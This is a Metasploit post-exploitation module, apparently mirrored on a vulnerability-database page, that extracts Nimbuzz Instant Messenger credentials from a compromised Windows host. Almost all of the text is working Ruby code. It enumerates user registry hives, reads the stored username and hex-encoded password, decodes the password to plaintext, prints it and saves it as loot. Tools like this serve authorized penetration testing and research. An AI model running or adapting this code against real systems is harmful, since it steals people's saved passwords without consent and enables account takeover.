Windows Gather Nimbuzz Instant Messenger Password Extractor
🗓️ 10 Aug 2011 17:48:30Reported by sil3ntdre4m <[email protected]>, UnknownType
metasploit🔗 www.rapid7.com👁 27 Views
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
'Description' => %q{
This module extracts the account passwords saved by Nimbuzz Instant
Messenger in hex format.
},
'License' => MSF_LICENSE,
'Author' => [
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
'Unknown', # SecurityXploded Team, www.SecurityXploded.com
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
end
def run
creds = Rex::Text::Table.new(
'Header' => 'Nimbuzz Instant Messenger Credentials',
'Indent' => 1,
'Columns' =>
[
'User',
'Password'
]
)
registry_enumkeys('HKU').each do |k|
next unless k.include? 'S-1-5-21'
next if k.include? '_Classes'
vprint_status("Looking at Key #{k}")
subkeys = registry_enumkeys("HKU\\#{k}\\Software\\Nimbuzz\\")
if subkeys.nil? || (subkeys == '')
print_status('Nimbuzz Instant Messenger not installed for this user.')
return
end
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", 'Username') || ''
hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", 'Password')
next if hpass.nil? || (hpass == '')
hpass =~ /.{11}(.*)./
decpass = [::Regexp.last_match(1)].pack('H*')
print_good("User=#{user}, Password=#{decpass}")
creds << [user, decpass]
end
print_status('Storing data...')
path = store_loot(
'nimbuzz.user.creds',
'text/csv',
session,
creds.to_csv,
'nimbuzz_user_creds.csv',
'Nimbuzz User Credentials'
)
print_good("Nimbuzz user credentials saved in: #{path}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Feb 2023 13:47Current
7High risk
Vulners AI Score7